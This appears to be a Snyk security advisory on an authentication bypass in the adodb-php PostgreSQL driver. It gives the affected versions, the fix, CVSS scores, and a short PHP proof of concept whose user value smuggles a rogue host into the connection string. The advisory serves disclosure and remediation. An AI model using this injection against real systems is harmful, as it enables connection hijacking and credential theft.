Authentication Bypass by Primary Weakness Affecting adodb/adodb-php package, versions <5.20.21 >=5.21.0, <5.21.4


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.44% (75th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PHP-ADODBADODBPHP-2361259
  • published 25 Jan 2022
  • disclosed 25 Jan 2022
  • credit Emmet Leahy of Sorcery Ltd

How to fix?

Upgrade adodb/adodb-php to version 5.20.21, 5.21.4 or higher.

Overview

Affected versions of this package are vulnerable to Authentication Bypass by Primary Weakness by bypassing adodb_addslashes(), allowing a malicious actor to inject values into the PostgreSQL connection string.

PoC

<?php
include 'adodb.inc.php';
$db = ADONewConnection('pgsql');

$host_good = 'localhost';
$user_good = 'user';
$password = 'xxxx';
$database = 'dbname';

$user_evil = "'user' host='1.3.3.7'";

$db->connect($host_good, $user_good, $password, $database); // success
$db->connect($host_good, $user_evil, $password, $database); // !!!
?>

References

CVSS Scores

version 3.1
Expand this section

Snyk

9.1 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    None
Expand this section

NVD

9.1 critical